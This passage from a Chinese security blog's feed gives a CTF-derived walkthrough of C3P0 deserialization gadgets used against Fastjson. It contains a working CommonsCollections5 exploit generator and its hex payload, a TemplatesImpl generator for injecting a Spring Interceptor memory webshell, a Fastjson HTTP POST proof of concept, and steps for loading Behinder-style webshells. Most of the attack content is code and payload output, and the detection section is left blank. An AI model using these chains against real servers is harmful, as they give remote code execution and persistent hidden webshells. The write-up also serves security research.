javax.sql.PooledConnection <span class="title function_">getPooledConnection</span><span class="params">()</span> &#123; <span class="keyword">return</span> <span class="literal">null</span>; &#125;</span><br><span class="line">        <span class="meta">@Override</span> <span class="keyword">public</span> javax.sql.PooledConnection <span class="title function_">getPooledConnection</span><span class="params">(String user, String password)</span> &#123; <span class="keyword">return</span> <span class="literal">null</span>; &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">serialize</span><span class="params">(ConnectionPoolDataSource input)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="type">PoolBackedDataSourceBase</span> <span class="variable">pool</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">PoolBackedDataSourceBase</span>(<span class="literal">false</span>);</span><br><span class="line">        <span class="type">Field</span> <span class="variable">field</span> <span class="operator">=</span> PoolBackedDataSourceBase.class.getDeclaredField(<span class="string">&quot;connectionPoolDataSource&quot;</span>);</span><br><span class="line">        field.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        field.set(pool, input);</span><br><span class="line">        <span class="type">Field</span> <span class="variable">tokenField</span> <span class="operator">=</span> PoolBackedDataSourceBase.class.getDeclaredField(<span class="string">&quot;identityToken&quot;</span>);</span><br><span class="line">        tokenField.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        tokenField.set(pool, <span class="string">&quot;icecliffs_token&quot;</span>);</span><br><span class="line">        <span class="type">ObjectOutputStream</span> <span class="variable">oos</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectOutputStream</span>(<span class="keyword">new</span> <span class="title class_">FileOutputStream</span>(<span class="string">&quot;urlclassloader.bin&quot;</span>));</span><br><span class="line">        oos.writeObject(pool);</span><br><span class="line">        oos.close();</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">deserialize</span><span class="params">()</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="type">ObjectInputStream</span> <span class="variable">ois</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectInputStream</span>(<span class="keyword">new</span> <span class="title class_">FileInputStream</span>(<span class="string">&quot;urlclassloader.bin&quot;</span>));</span><br><span class="line">        <span class="type">Object</span> <span class="variable">obj</span> <span class="operator">=</span> ois.readObject();</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            obj.toString();</span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        System.setProperty(<span class="string">&quot;com.sun.jndi.ldap.object.trustURLCodebase&quot;</span>, <span class="string">&quot;true&quot;</span>);</span><br><span class="line">        System.setProperty(<span class="string">&quot;com.sun.jndi.rmi.object.trustURLCodebase&quot;</span>, <span class="string">&quot;true&quot;</span>);</span><br><span class="line">        <span class="type">MyLoader</span> <span class="variable">myLoader</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">MyLoader</span>();</span><br><span class="line">        serialize(myLoader);</span><br><span class="line">        deserialize();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>运行</p><p><img src="https://bfs.iloli.moe/blog/20260307185823709.png" alt="image-20260307185823253"></p><h3 id="JNDI"><a href="#JNDI" class="headerlink" title="JNDI"></a>JNDI</h3><p>跳过</p><h3 id="HEX序列化字节加载器"><a href="#HEX序列化字节加载器" class="headerlink" title="HEX序列化字节加载器"></a>HEX序列化字节加载器</h3><p>先来看看 Gadget，为</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">PoolBackedDataSourceBase#readObject()</span><br><span class="line">    -&gt; WrapperConnectionPoolDataSource#readObject()</span><br><span class="line">      -&gt; C3P0ImplUtils#parseUserOverridesAsString(String)</span><br><span class="line">        -&gt; ByteUtils#fromHexAscii(String)  &lt;-- 十六进制解码</span><br><span class="line">        -&gt; SerializableUtils#fromByteArray(byte[])</span><br><span class="line">          -&gt; SerializableUtils#deserializeFromByteArray(byte[])</span><br><span class="line">            -&gt; ObjectInputStream#readObject()</span><br><span class="line">              -&gt; (CC6 / TemplatesImpl / 7u21)</span><br></pre></td></tr></table></figure><p>这里为什么说是二次反序列化，因为第一次反序列化，服务器解析了 <code>PoolBackedDataSourceBase</code> 对象，在第二次 C3P0 在恢复自身属性时，发现 <code>userOverridesAsString</code> 字段有内容，于是自动调用工具类将其 Hex 解码，并<strong>再次启动一个 <code>ObjectInputStream</code></strong> 来解析这段数据，我们先跟进 <code>com.mchange.v2.c3p0.WrapperConnectionPoolDataSource</code>，会发现构造方法调用了 <code>C3P0ImplUtils.parseUserOverridesAsString</code></p><p><img src="https://bfs.iloli.moe/blog/20260307190929363.png" alt="image-20260307190928958"></p><p>接着跟进去，会发它不仅负责解析字符串，还硬编码了对 <code>HexAsciiSerializedMap</code> 这种特殊格式的处理，将原本安全的字符串配置转换成了二进制流</p><p><img src="https://bfs.iloli.moe/blog/20260307191022439.png" alt="image-20260307191022206"></p><p>也就是说，我们如果要构造这个 hex 字符串，得满足</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">HexAsciiSerializedMap:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;</span><br></pre></td></tr></table></figure><p>才可以，我们接着跟进 <code>SerializableUtils.fromByteArray</code></p><p><img src="https://bfs.iloli.moe/blog/20260307191137826.png" alt="image-20260307191137589"></p><p>再次跟进 <code>Object var1 = deserializeFromByteArray(var0);</code></p><p><img src="https://bfs.iloli.moe/blog/20260307191148511.png" alt="image-20260307191148326"></p><p>这里会发现内部直接 <code>new</code> 了一个 <code>ObjectInputStream</code> 并调用了 <code>readObject()</code>，这使得攻击者可以绕过任何 JSON 或 XML 解析器的安全检查，直接执行原始的 Java 序列化攻击，这里用 CommonsCollections5 打一个试试，添加一个依赖</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>commons-collections<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>commons-collections<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">version</span>&gt;</span>3.1<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br></pre></td></tr></table></figure><p>然后就是常规的 cc5 exp 编写</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> org.example;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> com.mchange.v2.c3p0.WrapperConnectionPoolDataSource;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.Transformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.ChainedTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.ConstantTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.InvokerTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.keyvalue.TiedMapEntry;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.map.LazyMap;</span><br><span class="line"><span class="keyword">import</span> javax.management.BadAttributeValueExpException;</span><br><span class="line"><span class="keyword">import</span> java.io.*;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Field;</span><br><span class="line"><span class="keyword">import</span> java.util.HashMap;</span><br><span class="line"><span class="keyword">import</span> java.util.Map;</span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">hexLoader</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">command</span> <span class="operator">=</span> <span class="string">&quot;open -a Calculator&quot;</span>;</span><br><span class="line">        <span class="type">byte</span>[] cc5Bytes = generateCC5Payload(command);</span><br><span class="line">        <span class="type">String</span> <span class="variable">hexPayload</span> <span class="operator">=</span> bytesToHexString(cc5Bytes);</span><br><span class="line">        <span class="type">String</span> <span class="variable">finalPayload</span> <span class="operator">=</span> <span class="string">&quot;HexAsciiSerializedMap:&quot;</span> + hexPayload + <span class="string">&quot;;&quot;</span>;</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="type">WrapperConnectionPoolDataSource</span> <span class="variable">wcpds</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">WrapperConnectionPoolDataSource</span>();</span><br><span class="line">            wcpds.setUserOverridesAsString(finalPayload);</span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">            e.printStackTrace();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="type">byte</span>[] generateCC5Payload(String cmd) <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        Transformer[] transformers = <span class="keyword">new</span> <span class="title class_">Transformer</span>[]&#123;</span><br><span class="line">                <span class="keyword">new</span> <span class="title class_">ConstantTransformer</span>(Runtime.class),</span><br><span class="line">                <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;getMethod&quot;</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;String.class, Class[].class&#125;, <span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;<span class="string">&quot;getRuntime&quot;</span>, <span class="literal">null</span>&#125;),</span><br><span class="line">                <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;invoke&quot;</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;Object.class, Object[].class&#125;, <span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;<span class="literal">null</span>, <span class="literal">null</span>&#125;),</span><br><span class="line">                <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;exec&quot;</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;String.class&#125;, <span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;cmd&#125;)</span><br><span class="line">        &#125;;</span><br><span class="line">        <span class="type">ChainedTransformer</span> <span class="variable">chain</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ChainedTransformer</span>(transformers);</span><br><span class="line">        <span class="type">Map</span> <span class="variable">innerMap</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">HashMap</span>();</span><br><span class="line">        <span class="type">Map</span> <span class="variable">lazyMap</span> <span class="operator">=</span> LazyMap.decorate(innerMap, chain);</span><br><span class="line">        <span class="type">TiedMapEntry</span> <span class="variable">entry</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">TiedMapEntry</span>(lazyMap, <span class="string">&quot;foo&quot;</span>);</span><br><span class="line">        <span class="type">BadAttributeValueExpException</span> <span class="variable">val</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">BadAttributeValueExpException</span>(<span class="literal">null</span>);</span><br><span class="line">        <span class="type">Field</span> <span class="variable">valField</span> <span class="operator">=</span> val.getClass().getDeclaredField(<span class="string">&quot;val&quot;</span>);</span><br><span class="line">        valField.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        valField.set(val, entry);</span><br><span class="line">        <span class="type">ByteArrayOutputStream</span> <span class="variable">baos</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ByteArrayOutputStream</span>();</span><br><span class="line">        <span class="type">ObjectOutputStream</span> <span class="variable">oos</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectOutputStream</span>(baos);</span><br><span class="line">        oos.writeObject(val);</span><br><span class="line">        <span class="keyword">return</span> baos.toByteArray();</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> String <span class="title function_">bytesToHexString</span><span class="params">(<span class="type">byte</span>[] bArray)</span> &#123;</span><br><span class="line">        <span class="type">StringBuilder</span> <span class="variable">sb</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">StringBuilder</span>(bArray.length);</span><br><span class="line">        <span class="keyword">for</span> (<span class="type">byte</span> b : bArray) &#123;</span><br><span class="line">            <span class="type">String</span> <span class="variable">sTemp</span> <span class="operator">=</span> Integer.toHexString(<span class="number">0xFF</span> &amp; b);</span><br><span class="line">            <span class="keyword">if</span> (sTemp.length() &lt; <span class="number">2</span>) sb.append(<span class="number">0</span>);</span><br><span class="line">            sb.append(sTemp.toUpperCase());</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> sb.toString();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>运行之后我们会得到</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ACED00057372002E6A617661782E6D616E6167656D656E742E42616441747472696275746556616C7565457870457863657074696F6ED4E7DAAB632D46400200014C000376616C7400124C6A6176612F6C616E672F4F626A6563743B787200136A6176612E6C616E672E457863657074696F6ED0FD1F3E1A3B1CC4020000787200136A6176612E6C616E672E5468726F7761626C65D5C635273977B8CB0300044C000563617573657400154C6A6176612F6C616E672F5468726F7761626C653B4C000D64657461696C4D6573736167657400124C6A6176612F6C616E672F537472696E673B5B000A737461636B547261636574001E5B4C6A6176612F6C616E672F537461636B5472616365456C656D656E743B4C001473757070726573736564457863657074696F6E737400104C6A6176612F7574696C2F4C6973743B787071007E0008707572001E5B4C6A6176612E6C616E672E537461636B5472616365456C656D656E743B02462A3C3CFD22390200007870000000027372001B6A6176612E6C616E672E537461636B5472616365456C656D656E746109C59A2636DD8502000449000A6C696E654E756D6265724C000E6465636C6172696E67436C61737371007E00054C000866696C654E616D6571007E00054C000A6D6574686F644E616D6571007E000578700000002F7400156F72672E6578616D706C652E6865784C6F6164657274000E6865784C6F616465722E6A61766174001267656E65726174654343355061796C6F61647371007E000B0000001571007E000D71007E000E7400046D61696E737200266A6176612E7574696C2E436F6C6C656374696F6E7324556E6D6F6469666961626C654C697374FC0F2531B5EC8E100200014C00046C69737471007E00077872002C6A6176612E7574696C2E436F6C6C656374696F6E7324556E6D6F6469666961626C65436F6C6C656374696F6E19420080CB5EF71E0200014C0001637400164C6A6176612F7574696C2F436F6C6C656374696F6E3B7870737200136A6176612E7574696C2E41727261794C6973747881D21D99C7619D03000149000473697A657870000000007704000000007871007E001778737200346F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6B657976616C75652E546965644D6170456E7472798AADD29B39C11FDB0200024C00036B657971007E00014C00036D617074000F4C6A6176612F7574696C2F4D61703B7870740003666F6F7372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002D5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707572002D5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E5472616E73666F726D65723BBD562AF1D83418990200007870000000047372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E7471007E00017870767200116A6176612E6C616E672E52756E74696D65000000000000000000000078707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D6571007E00055B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000274000A67657452756E74696D65707400096765744D6574686F64757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A99020000787000000002767200106A6176612E6C616E672E537472696E67A0F0A4387A3BB34202000078707671007E00307371007E00287571007E002C000000027070740006696E766F6B657571007E003000000002767200106A6176612E6C616E672E4F626A656374000000000000000000000078707671007E002C7371007E00287571007E002C000000017400126F70656E202D612043616C63756C61746F72740004657865637571007E00300000000171007E0033737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F40000000000000770800000010000000007878</span><br></pre></td></tr></table></figure><p><img src="https://bfs.iloli.moe/blog/20260307191919453.png" alt="image-20260307191919055"></p><h2 id="攻击-Fastjson"><a href="#攻击-Fastjson" class="headerlink" title="攻击 Fastjson"></a>攻击 Fastjson</h2><p>回到题目本身，来看看怎么打，由于我出的这道题目是不出网的，所以可以打内存马，一般不出网会用到下面这几条链</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">com.mchange.v2.c3p0.WrapperConnectionPoolDataSource</span><br><span class="line">org.apache.tomcat.dbcp.dbcp.BasicDataSource</span><br><span class="line">org.apache.tomcat.dbcp.dbcp2.BasicDataSource</span><br><span class="line">org.apache.ibatis.datasource.unpooled.UnpooledDataSource</span><br></pre></td></tr></table></figure><p>但如果目标环境是出网，并且你和我一样是懒人，那可以用许少他们写的 Java Chains 直接生成一条，省时省力，点 <code>FastjsonPayload</code>，依次点开 <code>FastjsonC3p0(C3p0 1.2.47) &gt; JavaNativeSerialization(Java Native Deserialization) &gt; Fastjson(Fastjson deserialised chain) &gt; TemplatesImpl(TemplatesImpl) &gt; BytecodeConvert(handles bytecode) &gt; Exec(Execute commands)</code></p><p><img src="https://bfs.iloli.moe/blog/20260307195309121.png" alt="image-20260307195308682"></p><p>打一下</p><p><img src="https://bfs.iloli.moe/blog/20260307194035572.png" alt="image-20260307194029800"></p><h3 id="HEX序列化字节加载器上线冰蝎内存马"><a href="#HEX序列化字节加载器上线冰蝎内存马" class="headerlink" title="HEX序列化字节加载器上线冰蝎内存马"></a>HEX序列化字节加载器上线冰蝎内存马</h3><p>这个一般是在不出网 + 遇到 Fastjson 或者 Jackson 的情况，开始前，我们得先知道冰蝎的一个加载原理，这一部分可以看看作者的先知文章，写得很好</p><blockquote><p><a href="https://xz.aliyun.com/news/2424">https://xz.aliyun.com/news/2424</a></p></blockquote><p>接着网上随便找一个内存马改改，例如我这里是 Interceptor 马，大致原理如下</p><ol><li><p><strong>获取上下文控制权</strong>：利用反序列化或表达式注入漏洞，在内存中通过 <code>RequestContextHolder</code> 或遍历线程组寻找 <strong>WebApplicationContext</strong>，从而获得操作 Spring 容器内部组件的权限。</p></li><li><p><strong>定位核心组件</strong>：通过反射机制定位到 Spring 处理路由的核心 Bean——<strong><code>RequestMappingHandlerMapping</code></strong>，在该对象中，存在一个存放所有拦截器的私有 List 集合（通常名为 <code>adaptedInterceptors</code>）。</p></li><li><p><strong>动态插入恶意逻辑</strong>：编写一个实现 <code>HandlerInterceptor</code> 接口的类，并将其实例化后通过反射强行插入到该 List 的<strong>首位</strong>。由于拦截器在请求进入 Controller 之前执行，木马可以在 <code>preHandle</code> 方法中截获 HTTP 请求，判断特定参数并执行系统命令。</p></li></ol><p>缝合一下 cc</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;</span><br><span class="line"><span class="keyword">import</span> java.io.*;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Field;</span><br><span class="line"><span class="keyword">import</span> java.nio.file.Files;</span><br><span class="line"><span class="keyword">import</span> java.nio.file.Paths;</span><br><span class="line"><span class="keyword">import</span> java.util.HashMap;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Generator</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="type">byte</span>[] classBytes = Files.readAllBytes(Paths.get(<span class="string">&quot;target/classes/InjectToInterceptor.class&quot;</span>));</span><br><span class="line">        <span class="type">TemplatesImpl</span> <span class="variable">templates</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">TemplatesImpl</span>();</span><br><span class="line">        setFieldValue(templates, <span class="string">&quot;_bytecodes&quot;</span>, <span class="keyword">new</span> <span class="title class_">byte</span>[][]&#123;classBytes&#125;);</span><br><span class="line">        setFieldValue(templates, <span class="string">&quot;_name&quot;</span>, <span class="string">&quot;1&quot;</span>);</span><br><span class="line">        setFieldValue(templates, <span class="string">&quot;_tfactory&quot;</span>, <span class="keyword">new</span> <span class="title class_">TransformerFactoryImpl</span>());</span><br><span class="line">        HashMap&lt;String, Object&gt; map = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line">        map.put(<span class="string">&quot;trigger&quot;</span>, templates);</span><br><span class="line">        <span class="type">ByteArrayOutputStream</span> <span class="variable">baos</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ByteArrayOutputStream</span>();</span><br><span class="line">        <span class="type">ObjectOutputStream</span> <span class="variable">oos</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectOutputStream</span>(baos);</span><br><span class="line">        oos.writeObject(map);</span><br><span class="line">        oos.close();</span><br><span class="line">        <span class="type">String</span> <span class="variable">hex</span> <span class="operator">=</span> bytesToHex(baos.toByteArray());</span><br><span class="line">        System.out.println(<span class="string">&quot;HexAsciiSerializedMap:&quot;</span> + hex);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">setFieldValue</span><span class="params">(Object obj, String fieldName, Object value)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="type">Field</span> <span class="variable">field</span> <span class="operator">=</span> obj.getClass().getDeclaredField(fieldName);</span><br><span class="line">        field.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        field.set(obj, value);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> String <span class="title function_">bytesToHex</span><span class="params">(<span class="type">byte</span>[] bytes)</span> &#123;</span><br><span class="line">        <span class="type">StringBuilder</span> <span class="variable">sb</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">StringBuilder</span>();</span><br><span class="line">        <span class="keyword">for</span> (<span class="type">byte</span> b : bytes) &#123;</span><br><span class="line">            sb.append(String.format(<span class="string">&quot;%02x&quot;</span>, b));</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> sb.toString();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><img src="https://bfs.iloli.moe/blog/20260307215449566.png" alt="image-20260307215449250"></p><p>构造 fastjson poc</p><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">POST</span> <span class="string">/</span> <span class="meta">HTTP/1.1</span></span><br><span class="line"><span class="attribute">Host</span><span class="punctuation">: </span>icecliffs.gov:9090</span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>application/json</span><br><span class="line"><span class="attribute">Content-Length</span><span class="punctuation">: </span>21135</span><br><span class="line"></span><br><span class="line"><span class="language-perl">&#123;<span class="string">&quot;e&quot;</span>:&#123;<span class="string">&quot;<span class="variable">@type</span>&quot;</span>:<span class="string">&quot;java.lang.Class&quot;</span>,<span class="string">&quot;val&quot;</span>:<span class="string">&quot;com.mchange.v2.c3p0.WrapperConnectionPoolDataSource&quot;</span>&#125;,<span class="string">&quot;f&quot;</span>:&#123;<span class="string">&quot;<span class="variable">@type</span>&quot;</span>:<span class="string">&quot;com.mchange.v2.c3p0.WrapperConnectionPoolDataSource&quot;</span>,<span class="string">&quot;userOverridesAsString&quot;</span>:<span class="string">&quot;HexAsciiSerializedMap:你猜;&quot;</span>&#125;&#125;</span></span><br></pre></td></tr></table></figure><p><img src="https://bfs.iloli.moe/blog/20260307215722596.png" alt="image-20260307215341697"></p><p>打一个回显</p><p><img src="https://bfs.iloli.moe/blog/20260307212852913.png" alt="image-20260307212714631"></p><p><img src="https://bfs.iloli.moe/blog/20260307215636816.png" alt="image-20260307215636479"></p><p>然后缝合一下冰蝎，在打一下</p><p><img src="https://bfs.iloli.moe/blog/20260307215145166.png" alt="image-20260307215144750"></p><p><img src="https://bfs.iloli.moe/blog/20260307215156884.png" alt="image-20260307215156678"></p><h3 id="HEX序列化字节加载器上线哥斯拉"><a href="#HEX序列化字节加载器上线哥斯拉" class="headerlink" title="HEX序列化字节加载器上线哥斯拉"></a>HEX序列化字节加载器上线哥斯拉</h3><p>一样的逻辑，不写了</p><h2 id="查杀"><a href="#查杀" class="headerlink" title="查杀"></a>查杀</h2><p>有空再写吧</p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;水一篇文章，思路很常见，不是什么很新的东西，没啥新的技巧，起因是在去年出 CTF 题目时想到的一个考点，题目是一道 spring + fastjson，但是忘记给白名单类了+题目不出网，并且是高版本 jdk，所以打起来会非常吃力，就想着能不能加一个 c3p0 来救一下场，于</summary>
      
    
    
    
    <category term="Research" scheme="https://iloli.moe/categories/Research/"/>
    
    
    <category term="Security" scheme="https://iloli.moe/tags/Security/"/>
    
    <category term="JavaSec" scheme="https://iloli.moe/tags/JavaSec/"/>
    
    <category term="Web" scheme="https://iloli.moe/tags/Web/"/>
    
  </entry>
  
  <entry>
    <title>Bypassing Cookie Length Limits in Shiro</title>
    <link href="https://iloli.moe/2026/03/02/bypassing-cookie-length-limits-in-shiro/"/>
    <id>https://iloli.moe/2026/03/02/bypassing-cookie-length-limits-in-shiro/</id>
    <published>2026-03-02T14:32:18.000Z</published>
    <updated>2026-05-07T04:50:46.607Z</updated>
    
